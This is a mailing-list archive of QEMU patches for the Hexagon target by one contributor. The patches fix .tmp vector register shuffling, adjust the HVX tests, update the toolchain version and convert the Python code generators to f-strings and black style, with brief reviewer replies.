from:"Marco"

[PATCH v2] Hexagon (target/hexagon) Fix assignment to tmp registers

2023-05-22 Thread Marco Liebel

The order in which instructions are generated by gen_insn() influences
assignment to tmp registers. During generation, tmp instructions (e.g.
generate_V6_vassign_tmp) use vreg_src_off() to determine what kind of
register to use as source. If some instruction (e.g.
generate_V6_vmpyowh_64_acc) uses a tmp register but is generated prior
to the corresponding tmp instruction, the vregs_updated_tmp bit map
isn't updated in time.

Exmple:
{ v14.tmp = v16; v25 = v14 } This works properly because
generate_V6_vassign_tmp is generated before generate_V6_vassign
and the bit map is updated.

{ v15:14.tmp = vcombine(v21, v16); v25:24 += vmpyo(v18.w,v14.h) }
This does not work properly because vmpyo is generated before
vcombine and therefore the bit map does not yet know that there's
a tmp register.

The parentheses in the decoding function were in the wrong place.
Moving them to the correct location makes shuffling of .tmp vector
registers work as expected.

Signed-off-by: Marco Liebel 
---
 target/hexagon/mmvec/decode_ext_mmvec.c |  8 +++
 tests/tcg/hexagon/hvx_misc.c| 31 +
 2 files changed, 35 insertions(+), 4 deletions(-)

diff --git a/target/hexagon/mmvec/decode_ext_mmvec.c 
b/target/hexagon/mmvec/decode_ext_mmvec.c
index 061a65ab88..174eb3b78b 100644
--- a/target/hexagon/mmvec/decode_ext_mmvec.c
+++ b/target/hexagon/mmvec/decode_ext_mmvec.c
@@ -1,5 +1,5 @@
 /*
- *  Copyright(c) 2019-2021 Qualcomm Innovation Center, Inc. All Rights 
Reserved.
+ *  Copyright(c) 2019-2023 Qualcomm Innovation Center, Inc. All Rights 
Reserved.
  *
  *  This program is free software; you can redistribute it and/or modify
  *  it under the terms of the GNU General Public License as published by
@@ -148,9 +148,9 @@ decode_shuffle_for_execution_vops(Packet *pkt)
 int i;
 for (i = 0; i < pkt->num_insns; i++) {
 uint16_t opcode = pkt->insn[i].opcode;
-if (GET_ATTRIB(opcode, A_LOAD) &&
-(GET_ATTRIB(opcode, A_CVI_NEW) ||
- GET_ATTRIB(opcode, A_CVI_TMP))) {
+if ((GET_ATTRIB(opcode, A_LOAD) &&
+ GET_ATTRIB(opcode, A_CVI_NEW)) ||
+GET_ATTRIB(opcode, A_CVI_TMP)) {
 /*
  * Find prior consuming vector instructions
  * Move to end of packet
diff --git a/tests/tcg/hexagon/hvx_misc.c b/tests/tcg/hexagon/hvx_misc.c
index 09dec8d7a1..b45170acd1 100644
--- a/tests/tcg/hexagon/hvx_misc.c
+++ b/tests/tcg/hexagon/hvx_misc.c
@@ -60,6 +60,36 @@ static void test_load_tmp(void)
 check_output_w(__LINE__, BUFSIZE);
 }
 
+static void test_load_tmp2(void)
+{
+void *pout0 = [0];
+void *pout1 = [1];
+
+asm volatile(
+"r0 = #0x03030303\n\t"
+"v16 = vsplat(r0)\n\t"
+"r0 = #0x04040404\n\t"
+"v18 = vsplat(r0)\n\t"
+"r0 = #0x05050505\n\t"
+"v21 = vsplat(r0)\n\t"
+"{\n\t"
+"   v25:24 += vmpyo(v18.w, v14.h)\n\t"
+"   v15:14.tmp = vcombine(v21, v16)\n\t"
+"}\n\t"
+"vmem(%0 + #0) = v24\n\t"
+"vmem(%1 + #0) = v25\n\t"
+: : "r"(pout0), "r"(pout1)
+: "r0", "v16", "v18", "v21", "v24", "v25", "memory"
+);
+
+for (int i = 0; i < MAX_VEC_SIZE_BYTES / 4; ++i) {
+expect[0].w[i] = 0x180c;
+expect[1].w[i] = 0x000c1818;
+}
+
+check_output_w(__LINE__, 2);
+}
+
 static void test_load_cur(void)
 {
 void *p0 = buffer0;
@@ -435,6 +465,7 @@ int main()
 init_buffers();
 
 test_load_tmp();
+test_load_tmp2();
 test_load_cur();
 test_load_aligned();
 test_load_unaligned();
-- 
2.25.1

[PATCH] Hexagon (target/hexagon) Fix assignment to tmp registers

2023-05-22 Thread Marco Liebel

The order in which instructions are generated by gen_insn() influences
assignment to tmp registers. During generation, tmp instructions (e.g.
generate_V6_vassign_tmp) use vreg_src_off() to determine what kind of
register to use as source. If some instruction (e.g.
generate_V6_vmpyowh_64_acc) uses a tmp register but is generated prior
to the corresponding tmp instruction, the vregs_updated_tmp bit map
isn't updated in time.

Exmple:
{ v14.tmp = v16; v25 = v14 } This works properly because
generate_V6_assign_tmp is generated before generate_V6_assign and
the bit map is updated.

{ v15:14.tmp = vcombine(v21, v16); v25:24 += vmpyo(v18.w,v14.h) }
This does not work properly because vmpyo is generated before
vcombine and therefore the bit map does not yet know that there's
a tmp register.

The parentheses in the decoding function were in the wrong place.
Moving them to the correct location makes shuffling of .tmp vector
registers work as expected.
---
 target/hexagon/mmvec/decode_ext_mmvec.c |  6 ++---
 tests/tcg/hexagon/hvx_misc.c| 31 +
 2 files changed, 34 insertions(+), 3 deletions(-)

diff --git a/target/hexagon/mmvec/decode_ext_mmvec.c 
b/target/hexagon/mmvec/decode_ext_mmvec.c
index 061a65ab88..8d60804deb 100644
--- a/target/hexagon/mmvec/decode_ext_mmvec.c
+++ b/target/hexagon/mmvec/decode_ext_mmvec.c
@@ -148,9 +148,9 @@ decode_shuffle_for_execution_vops(Packet *pkt)
 int i;
 for (i = 0; i < pkt->num_insns; i++) {
 uint16_t opcode = pkt->insn[i].opcode;
-if (GET_ATTRIB(opcode, A_LOAD) &&
-(GET_ATTRIB(opcode, A_CVI_NEW) ||
- GET_ATTRIB(opcode, A_CVI_TMP))) {
+if ((GET_ATTRIB(opcode, A_LOAD) &&
+ GET_ATTRIB(opcode, A_CVI_NEW)) ||
+GET_ATTRIB(opcode, A_CVI_TMP)) {
 /*
  * Find prior consuming vector instructions
  * Move to end of packet
diff --git a/tests/tcg/hexagon/hvx_misc.c b/tests/tcg/hexagon/hvx_misc.c
index 09dec8d7a1..b45170acd1 100644
--- a/tests/tcg/hexagon/hvx_misc.c
+++ b/tests/tcg/hexagon/hvx_misc.c
@@ -60,6 +60,36 @@ static void test_load_tmp(void)
 check_output_w(__LINE__, BUFSIZE);
 }
 
+static void test_load_tmp2(void)
+{
+void *pout0 = [0];
+void *pout1 = [1];
+
+asm volatile(
+"r0 = #0x03030303\n\t"
+"v16 = vsplat(r0)\n\t"
+"r0 = #0x04040404\n\t"
+"v18 = vsplat(r0)\n\t"
+"r0 = #0x05050505\n\t"
+"v21 = vsplat(r0)\n\t"
+"{\n\t"
+"   v25:24 += vmpyo(v18.w, v14.h)\n\t"
+"   v15:14.tmp = vcombine(v21, v16)\n\t"
+"}\n\t"
+"vmem(%0 + #0) = v24\n\t"
+"vmem(%1 + #0) = v25\n\t"
+: : "r"(pout0), "r"(pout1)
+: "r0", "v16", "v18", "v21", "v24", "v25", "memory"
+);
+
+for (int i = 0; i < MAX_VEC_SIZE_BYTES / 4; ++i) {
+expect[0].w[i] = 0x180c;
+expect[1].w[i] = 0x000c1818;
+}
+
+check_output_w(__LINE__, 2);
+}
+
 static void test_load_cur(void)
 {
 void *p0 = buffer0;
@@ -435,6 +465,7 @@ int main()
 init_buffers();
 
 test_load_tmp();
+test_load_tmp2();
 test_load_cur();
 test_load_aligned();
 test_load_unaligned();
-- 
2.25.1

[PATCH] Remove test_vshuff from hvx_misc tests

2023-05-09 Thread Marco Liebel

test_vshuff checks that the vshuff instruction works correctly when
both vector registers are the same. Using vshuff in this way is
undefined and will be rejected by the compiler in a future version of
the toolchain.

Signed-off-by: Marco Liebel 
---
 tests/tcg/hexagon/hvx_misc.c | 45 
 1 file changed, 45 deletions(-)

diff --git a/tests/tcg/hexagon/hvx_misc.c b/tests/tcg/hexagon/hvx_misc.c
index d0e64e035f..bc4e76d7f0 100644
--- a/tests/tcg/hexagon/hvx_misc.c
+++ b/tests/tcg/hexagon/hvx_misc.c
@@ -342,49 +342,6 @@ static void test_vsubuwsat_dv(void)
 check_output_w(__LINE__, 2);
 }
 
-static void test_vshuff(void)
-{
-/* Test that vshuff works when the two operands are the same register */
-const uint32_t splat = 0x089be55c;
-const uint32_t shuff = 0x454fa926;
-MMVector v0, v1;
-
-memset(expect, 0x12, sizeof(MMVector));
-memset(output, 0x34, sizeof(MMVector));
-
-asm volatile("v25 = vsplat(%0)\n\t"
- "vshuff(v25, v25, %1)\n\t"
- "vmem(%2 + #0) = v25\n\t"
- : /* no outputs */
- : "r"(splat), "r"(shuff), "r"(output)
- : "v25", "memory");
-
-/*
- * The semantics of Hexagon are the operands are pass-by-value, so create
- * two copies of the vsplat result.
- */
-for (int i = 0; i < MAX_VEC_SIZE_BYTES / 4; i++) {
-v0.uw[i] = splat;
-v1.uw[i] = splat;
-}
-/* Do the vshuff operation */
-for (int offset = 1; offset < MAX_VEC_SIZE_BYTES; offset <<= 1) {
-if (shuff & offset) {
-for (int k = 0; k < MAX_VEC_SIZE_BYTES; k++) {
-if (!(k & offset)) {
-uint8_t tmp = v0.ub[k];
-v0.ub[k] = v1.ub[k + offset];
-v1.ub[k + offset] = tmp;
-}
-}
-}
-}
-/* Put the result in the expect buffer for verification */
-expect[0] = v1;
-
-check_output_b(__LINE__, 1);
-}
-
 static void test_load_tmp_predicated(void)
 {
 void *p0 = buffer0;
@@ -489,8 +446,6 @@ int main()
 test_vadduwsat();
 test_vsubuwsat_dv();
 
-test_vshuff();
-
 test_load_tmp_predicated();
 test_load_cur_predicated();
 
-- 
2.25.1

[PATCH] Use hexagon toolchain version 16.0.0

2023-03-29 Thread Marco Liebel

Signed-off-by: Marco Liebel 
---
 tests/docker/dockerfiles/debian-hexagon-cross.docker | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/docker/dockerfiles/debian-hexagon-cross.docker 
b/tests/docker/dockerfiles/debian-hexagon-cross.docker
index 5308ccb8fe..b99d99f943 100644
--- a/tests/docker/dockerfiles/debian-hexagon-cross.docker
+++ b/tests/docker/dockerfiles/debian-hexagon-cross.docker
@@ -27,7 +27,7 @@ RUN apt-get update && \
 
 
 ENV TOOLCHAIN_INSTALL /opt
-ENV TOOLCHAIN_RELEASE 15.0.3
+ENV TOOLCHAIN_RELEASE 16.0.0
 ENV TOOLCHAIN_BASENAME 
"clang+llvm-${TOOLCHAIN_RELEASE}-cross-hexagon-unknown-linux-musl"
 ENV TOOLCHAIN_URL 
https://codelinaro.jfrog.io/artifactory/codelinaro-toolchain-for-hexagon/v${TOOLCHAIN_RELEASE}/${TOOLCHAIN_BASENAME}.tar.xz
 
-- 
2.25.1

RE: [PATCH 2/2] Add test for storing .new vector

2023-03-21 Thread Marco Liebel

> -Original Message-
> From: Peter Maydell 
> Sent: Dienstag, 21. März 2023 18:20
> To: Marco Liebel (QUIC) 
> Cc: qemu-devel@nongnu.org; Taylor Simpson ;
> Matheus Bernardino (QUIC) 
> Subject: Re: [PATCH 2/2] Add test for storing .new vector
> 
> WARNING: This email originated from outside of Qualcomm. Please be wary
> of any links or attachments, and do not enable macros.
> 
> On Tue, 21 Mar 2023 at 14:13, Marco Liebel 
> wrote:
> >
> > Hexagon toolchain version 16.0.0 fixes a bug where the ecoding of
> > storing a .new vector was incorrect. This resulted in an incorrect
> > valued being stored. The test checks that the correct value is used.
> 
> So is this a compiler/assembler bug? Do we need to have tests
> relating to those in QEMU's test suite ?
> 
> thanks
> -- PMM

The bug was in the assembler. For the instruction that does the store of the
.new vector (vmem(r0+#0) = v3.new) it created the wrong output. So there
should be no need to have more tests, other than the one provided by this
patch.

Marco

[PATCH 2/2] Add test for storing .new vector

2023-03-21 Thread Marco Liebel

Hexagon toolchain version 16.0.0 fixes a bug where the ecoding of
storing a .new vector was incorrect. This resulted in an incorrect
valued being stored. The test checks that the correct value is used.

Signed-off-by: Marco Liebel 
---
 tests/tcg/hexagon/hvx_misc.c | 29 +
 1 file changed, 29 insertions(+)

diff --git a/tests/tcg/hexagon/hvx_misc.c b/tests/tcg/hexagon/hvx_misc.c
index 53d5c9b44f..657e556dd4 100644
--- a/tests/tcg/hexagon/hvx_misc.c
+++ b/tests/tcg/hexagon/hvx_misc.c
@@ -211,6 +211,34 @@ static void test_store_unaligned(void)
 check_output_w(__LINE__, 2);
 }
 
+static void test_store_new(void)
+{
+asm volatile(
+"r0 = #0x0003\n\t"
+"v0 = vsplat(r0)\n\t"
+"r0 = #expect\n\t"
+"vmem(r0+#0) = v0\n\t"
+
+"r0 = #output\n\t"
+"r1 = #0x0001\n\t"
+"r2 = #0x0002\n\t"
+"r3 = #0x0004\n\t"
+
+"v1 = vsplat(r1)\n\t"
+"v2 = vsplat(r2)\n\t"
+"v3 = vsplat(r3)\n\t"
+
+"{"
+"   v3.w,q0 = vadd(v1.w, v2.w):carry\n\t"
+"   vmem(r0+#0) = v3.new\n\t"
+"}"
+
+::: "r0", "r1", "r2", "r3", "v0", "v1", "v2", "v3", "q0", "memory"
+);
+
+check_output_w(__LINE__, 1);
+}
+
 static void test_masked_store(bool invert)
 {
 void *p0 = buffer0;
@@ -620,6 +648,7 @@ int main()
 test_load_unaligned();
 test_store_aligned();
 test_store_unaligned();
+test_store_new();
 test_masked_store(false);
 test_masked_store(true);
 test_new_value_store();
-- 
2.25.1

[PATCH 0/2] Update hexagon toolchain

2023-03-21 Thread Marco Liebel

Updates the hexagon toolchain and adds a test for a bug that was fixed
by the new version.

Marco Liebel (2):
  Use hexagon toolchain version 16.0.0
  Add test for storing .new vector

 .../dockerfiles/debian-hexagon-cross.docker   |  2 +-
 tests/tcg/hexagon/hvx_misc.c  | 29 +++
 2 files changed, 30 insertions(+), 1 deletion(-)

-- 
2.25.1

[PATCH 1/2] Use hexagon toolchain version 16.0.0

2023-03-21 Thread Marco Liebel

Signed-off-by: Marco Liebel 
---
 tests/docker/dockerfiles/debian-hexagon-cross.docker | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/docker/dockerfiles/debian-hexagon-cross.docker 
b/tests/docker/dockerfiles/debian-hexagon-cross.docker
index 5308ccb8fe..b99d99f943 100644
--- a/tests/docker/dockerfiles/debian-hexagon-cross.docker
+++ b/tests/docker/dockerfiles/debian-hexagon-cross.docker
@@ -27,7 +27,7 @@ RUN apt-get update && \
 
 
 ENV TOOLCHAIN_INSTALL /opt
-ENV TOOLCHAIN_RELEASE 15.0.3
+ENV TOOLCHAIN_RELEASE 16.0.0
 ENV TOOLCHAIN_BASENAME 
"clang+llvm-${TOOLCHAIN_RELEASE}-cross-hexagon-unknown-linux-musl"
 ENV TOOLCHAIN_URL 
https://codelinaro.jfrog.io/artifactory/codelinaro-toolchain-for-hexagon/v${TOOLCHAIN_RELEASE}/${TOOLCHAIN_BASENAME}.tar.xz
 
-- 
2.25.1

[PATCH v3 2/2] Use black code style for python scripts

2023-03-20 Thread Marco Liebel

Signed-off-by: Marco Liebel 
---
 target/hexagon/dectree.py   | 396 ---
 target/hexagon/gen_analyze_funcs.py | 135 +++---
 target/hexagon/gen_helper_funcs.py  | 338 +++--
 target/hexagon/gen_helper_protos.py | 165 ---
 target/hexagon/gen_idef_parser_funcs.py |  75 +--
 target/hexagon/gen_op_attribs.py|  10 +-
 target/hexagon/gen_op_regs.py   |  77 +--
 target/hexagon/gen_opcodes_def.py   |   4 +-
 target/hexagon/gen_printinsn.py |  80 +--
 target/hexagon/gen_shortcode.py |  17 +-
 target/hexagon/gen_tcg_func_table.py|  14 +-
 target/hexagon/gen_tcg_funcs.py | 614 +---
 target/hexagon/hex_common.py| 177 ---
 13 files changed, 1191 insertions(+), 911 deletions(-)

diff --git a/target/hexagon/dectree.py b/target/hexagon/dectree.py
index 29467ec7d7..f28e3b4d5b 100755
--- a/target/hexagon/dectree.py
+++ b/target/hexagon/dectree.py
@@ -23,94 +23,109 @@
 import sys
 import iset
 
-encs = {tag : ''.join(reversed(iset.iset[tag]['enc'].replace(' ', '')))
-for tag in iset.tags if iset.iset[tag]['enc'] != 'MISSING ENCODING'}
-
-enc_classes = set([iset.iset[tag]['enc_class'] for tag in encs.keys()])
-subinsn_enc_classes = \
-set([enc_class for enc_class in enc_classes \
-if enc_class.startswith('SUBINSN_')])
-ext_enc_classes = \
-set([enc_class for enc_class in enc_classes \
-if enc_class not in ('NORMAL', '16BIT') and \
-   not enc_class.startswith('SUBINSN_')])
+encs = {
+tag: "".join(reversed(iset.iset[tag]["enc"].replace(" ", "")))
+for tag in iset.tags
+if iset.iset[tag]["enc"] != "MISSING ENCODING"
+}
+
+enc_classes = set([iset.iset[tag]["enc_class"] for tag in encs.keys()])
+subinsn_enc_classes = set(
+[enc_class for enc_class in enc_classes if 
enc_class.startswith("SUBINSN_")]
+)
+ext_enc_classes = set(
+[
+enc_class
+for enc_class in enc_classes
+if enc_class not in ("NORMAL", "16BIT") and not 
enc_class.startswith("SUBINSN_")
+]
+)
 
 try:
 subinsn_groupings = iset.subinsn_groupings
 except AttributeError:
 subinsn_groupings = {}
 
-for (tag, subinsn_grouping) in subinsn_groupings.items():
-encs[tag] = ''.join(reversed(subinsn_grouping['enc'].replace(' ', '')))
+for tag, subinsn_grouping in subinsn_groupings.items():
+encs[tag] = "".join(reversed(subinsn_grouping["enc"].replace(" ", "")))
 
-dectree_normal = {'leaves' : set()}
-dectree_16bit = {'leaves' : set()}
-dectree_subinsn_groupings = {'leaves' : set()}
-dectree_subinsns = {name : {'leaves' : set()} for name in subinsn_enc_classes}
-dectree_extensions = {name : {'leaves' : set()} for name in ext_enc_classes}
+dectree_normal = {"leaves": set()}
+dectree_16bit = {"leaves": set()}
+dectree_subinsn_groupings = {"leaves": set()}
+dectree_subinsns = {name: {"leaves": set()} for name in subinsn_enc_classes}
+dectree_extensions = {name: {"leaves": set()} for name in ext_enc_classes}
 
 for tag in encs.keys():
 if tag in subinsn_groupings:
-dectree_subinsn_groupings['leaves'].add(tag)
+dectree_subinsn_groupings["leaves"].add(tag)
 continue
-enc_class = iset.iset[tag]['enc_class']
-if enc_class.startswith('SUBINSN_'):
+enc_class = iset.iset[tag]["enc_class"]
+if enc_class.startswith("SUBINSN_"):
 if len(encs[tag]) != 32:
-encs[tag] = encs[tag] + '0' * (32 - len(encs[tag]))
-dectree_subinsns[enc_class]['leaves'].add(tag)
-elif  enc_class == '16BIT':
+encs[tag] = encs[tag] + "0" * (32 - len(encs[tag]))
+dectree_subinsns[enc_class]["leaves"].add(tag)
+elif enc_class == "16BIT":
 if len(encs[tag]) != 16:
-raise Exception('Tag "{}" has enc_class "{}" and not an encoding ' 
+
-'width of 16 bits!'.format(tag, enc_class))
-dectree_16bit['leaves'].add(tag)
+raise Exception(
+'Tag "{}" has enc_class "{}" and not an encoding '
++ "width of 16 bits!".format(tag, enc_class)
+)
+dectree_16bit["leaves"].add(tag)
 else:
 if len(encs[tag]) != 32:
-raise Exception('Tag "{}" has enc_class "{}" and not an encoding ' 
+
-'width of 32 bits!'.format(tag, enc_class))
-if enc_class == 'NORMAL':
-dectree_normal['leaves'].add(tag)
+raise Exception(
+'Tag "{}" has enc_class "{}" and not an encoding '
++ "width of 32 bits!".format(tag, enc_class)
+)
+

[PATCH v3 1/2] Use f-strings in python scripts

2023-03-20 Thread Marco Liebel

Replace python 2 format string with f-strings

Signed-off-by: Marco Liebel 
---
 target/hexagon/gen_analyze_funcs.py | 115 -
 target/hexagon/gen_helper_funcs.py  |  54 ++--
 target/hexagon/gen_helper_protos.py |  10 +-
 target/hexagon/gen_idef_parser_funcs.py |   8 +-
 target/hexagon/gen_op_attribs.py|   4 +-
 target/hexagon/gen_op_regs.py   |  10 +-
 target/hexagon/gen_opcodes_def.py   |   2 +-
 target/hexagon/gen_printinsn.py |  14 +-
 target/hexagon/gen_shortcode.py |   2 +-
 target/hexagon/gen_tcg_func_table.py|   2 +-
 target/hexagon/gen_tcg_funcs.py | 317 +++-
 target/hexagon/hex_common.py|   4 +-
 12 files changed, 243 insertions(+), 299 deletions(-)

diff --git a/target/hexagon/gen_analyze_funcs.py 
b/target/hexagon/gen_analyze_funcs.py
index ebd3e7afb9..1e246209e8 100755
--- a/target/hexagon/gen_analyze_funcs.py
+++ b/target/hexagon/gen_analyze_funcs.py
@@ -29,57 +29,49 @@ def is_predicated(tag):
 return 'A_CONDEXEC' in hex_common.attribdict[tag]
 
 def analyze_opn_old(f, tag, regtype, regid, regno):
-regN = "%s%sN" % (regtype, regid)
+regN = f"{regtype}{regid}N"
 predicated = "true" if is_predicated(tag) else "false"
 if (regtype == "R"):
 if (regid in {"ss", "tt"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"dd", "ee", "xx", "yy"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_reg_write_pair(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_reg_write_pair(ctx, {regN}, 
{predicated});\n")
 elif (regid in {"s", "t", "u", "v"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"d", "e", "x", "y"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_reg_write(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_reg_write(ctx, {regN}, {predicated});\n")
 else:
 print("Bad register parse: ", regtype, regid)
 elif (regtype == "P"):
 if (regid in {"s", "t", "u", "v"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"d", "e", "x"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_pred_write(ctx, %s);\n" % (regN))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_pred_write(ctx, {regN});\n")
 else:
 print("Bad register parse: ", regtype, regid)
 elif (regtype == "C"):
 if (regid == "ss"):
-f.write("//const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
 elif (regid == "dd"):
-f.write("const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
-f.write("ctx_log_reg_write_pair(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
+f.write(f"ctx_log_reg_write_pair(ctx, {regN}, 
{predicated});\n")
 elif (regid == "s"):
-f.write("//const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
 elif (regid == "d"):
-f.write("const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \

[PATCH v3 0/2] Use f-strings and black code style

2023-03-20 Thread Marco Liebel

Replaces python 2 format strings with f-strings and applies black code
style to all python files in target/hexagon.

Marco Liebel (2):
  Use f-strings in python scripts
  Use black code style for python scripts

 target/hexagon/dectree.py   | 396 +++--
 target/hexagon/gen_analyze_funcs.py | 226 
 target/hexagon/gen_helper_funcs.py  | 364 ++--
 target/hexagon/gen_helper_protos.py | 169 +++---
 target/hexagon/gen_idef_parser_funcs.py |  83 +--
 target/hexagon/gen_op_attribs.py|  10 +-
 target/hexagon/gen_op_regs.py   |  77 +--
 target/hexagon/gen_opcodes_def.py   |   6 +-
 target/hexagon/gen_printinsn.py |  82 +--
 target/hexagon/gen_shortcode.py |  17 +-
 target/hexagon/gen_tcg_func_table.py|  16 +-
 target/hexagon/gen_tcg_funcs.py | 729 +---
 target/hexagon/hex_common.py| 181 +++---
 13 files changed, 1290 insertions(+), 1066 deletions(-)

-- 
2.25.1

[PATCH v2] Use f-strings in python scripts

2023-03-14 Thread Marco Liebel

Replace python 2 format string with f-strings

Signed-off-by: Marco Liebel 
---
 target/hexagon/gen_analyze_funcs.py | 115 -
 target/hexagon/gen_helper_funcs.py  |  54 ++--
 target/hexagon/gen_helper_protos.py |  10 +-
 target/hexagon/gen_idef_parser_funcs.py |   8 +-
 target/hexagon/gen_op_attribs.py|   4 +-
 target/hexagon/gen_op_regs.py   |  10 +-
 target/hexagon/gen_opcodes_def.py   |   2 +-
 target/hexagon/gen_printinsn.py |  14 +-
 target/hexagon/gen_shortcode.py |   2 +-
 target/hexagon/gen_tcg_func_table.py|   2 +-
 target/hexagon/gen_tcg_funcs.py | 317 +++-
 target/hexagon/hex_common.py|   4 +-
 12 files changed, 243 insertions(+), 299 deletions(-)

diff --git a/target/hexagon/gen_analyze_funcs.py 
b/target/hexagon/gen_analyze_funcs.py
index ebd3e7afb9..1e246209e8 100755
--- a/target/hexagon/gen_analyze_funcs.py
+++ b/target/hexagon/gen_analyze_funcs.py
@@ -29,57 +29,49 @@ def is_predicated(tag):
 return 'A_CONDEXEC' in hex_common.attribdict[tag]
 
 def analyze_opn_old(f, tag, regtype, regid, regno):
-regN = "%s%sN" % (regtype, regid)
+regN = f"{regtype}{regid}N"
 predicated = "true" if is_predicated(tag) else "false"
 if (regtype == "R"):
 if (regid in {"ss", "tt"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"dd", "ee", "xx", "yy"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_reg_write_pair(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_reg_write_pair(ctx, {regN}, 
{predicated});\n")
 elif (regid in {"s", "t", "u", "v"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"d", "e", "x", "y"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_reg_write(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_reg_write(ctx, {regN}, {predicated});\n")
 else:
 print("Bad register parse: ", regtype, regid)
 elif (regtype == "P"):
 if (regid in {"s", "t", "u", "v"}):
-f.write("//const int %s = insn->regno[%d];\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}];\n")
 elif (regid in {"d", "e", "x"}):
-f.write("const int %s = insn->regno[%d];\n" % (regN, regno))
-f.write("ctx_log_pred_write(ctx, %s);\n" % (regN))
+f.write(f"const int {regN} = insn->regno[{regno}];\n")
+f.write(f"ctx_log_pred_write(ctx, {regN});\n")
 else:
 print("Bad register parse: ", regtype, regid)
 elif (regtype == "C"):
 if (regid == "ss"):
-f.write("//const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
 elif (regid == "dd"):
-f.write("const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
-f.write("ctx_log_reg_write_pair(ctx, %s, %s);\n" % \
-(regN, predicated))
+f.write(f"const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
+f.write(f"ctx_log_reg_write_pair(ctx, {regN}, 
{predicated});\n")
 elif (regid == "s"):
-f.write("//const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \
-(regN, regno))
+f.write(f"//const int {regN} = insn->regno[{regno}] "
+ "+ HEX_REG_SA0;\n")
 elif (regid == "d"):
-f.write("const int %s = insn->regno[%d] + HEX_REG_SA0;\n" % \

RE: [PATCH] Use f-strings in python scripts

2023-03-14 Thread Marco Liebel

> -Original Message-
> From: Taylor Simpson 
> Sent: Dienstag, 14. März 2023 18:54
> To: Marco Liebel (QUIC) ; qemu-
> de...@nongnu.org
> Subject: RE: [PATCH] Use f-strings in python scripts
> 
> 
> 
> > -Original Message-
> > From: Marco Liebel (QUIC) 
> > Sent: Monday, March 13, 2023 11:26 AM
> > To: qemu-devel@nongnu.org
> > Cc: Taylor Simpson ; Marco Liebel (QUIC)
> > 
> > Subject: [PATCH] Use f-strings in python scripts
> >
> > Replace python 2 format string with f-strings
> >
> > Signed-off-by: Marco Liebel 
> > ---
> >  target/hexagon/gen_helper_funcs.py  |  54 ++--
> >  target/hexagon/gen_helper_protos.py |  10 +-
> >  target/hexagon/gen_idef_parser_funcs.py |   8 +-
> >  target/hexagon/gen_op_attribs.py|   4 +-
> >  target/hexagon/gen_op_regs.py   |  10 +-
> >  target/hexagon/gen_opcodes_def.py   |   2 +-
> >  target/hexagon/gen_printinsn.py |  14 +-
> >  target/hexagon/gen_shortcode.py |   2 +-
> >  target/hexagon/gen_tcg_func_table.py|   2 +-
> >  target/hexagon/gen_tcg_funcs.py | 317 +++-
> >  target/hexagon/hex_common.py|   4 +-
> >  11 files changed, 198 insertions(+), 229 deletions(-)
> 
> Tested-by: Taylor Simpson 
> Reviewed-by: Taylor Simpson 
> 
> Could you also create a patch to do the same thing to
> target/hexagon/gen_analyze_funcs.py?

Of course. I'll add it to this one and send v2 later.

Marco

> 
> Thanks,
> Taylor
>

[PATCH] Use f-strings in python scripts

2023-03-13 Thread Marco Liebel

Replace python 2 format string with f-strings

Signed-off-by: Marco Liebel 
---
 target/hexagon/gen_helper_funcs.py  |  54 ++--
 target/hexagon/gen_helper_protos.py |  10 +-
 target/hexagon/gen_idef_parser_funcs.py |   8 +-
 target/hexagon/gen_op_attribs.py|   4 +-
 target/hexagon/gen_op_regs.py   |  10 +-
 target/hexagon/gen_opcodes_def.py   |   2 +-
 target/hexagon/gen_printinsn.py |  14 +-
 target/hexagon/gen_shortcode.py |   2 +-
 target/hexagon/gen_tcg_func_table.py|   2 +-
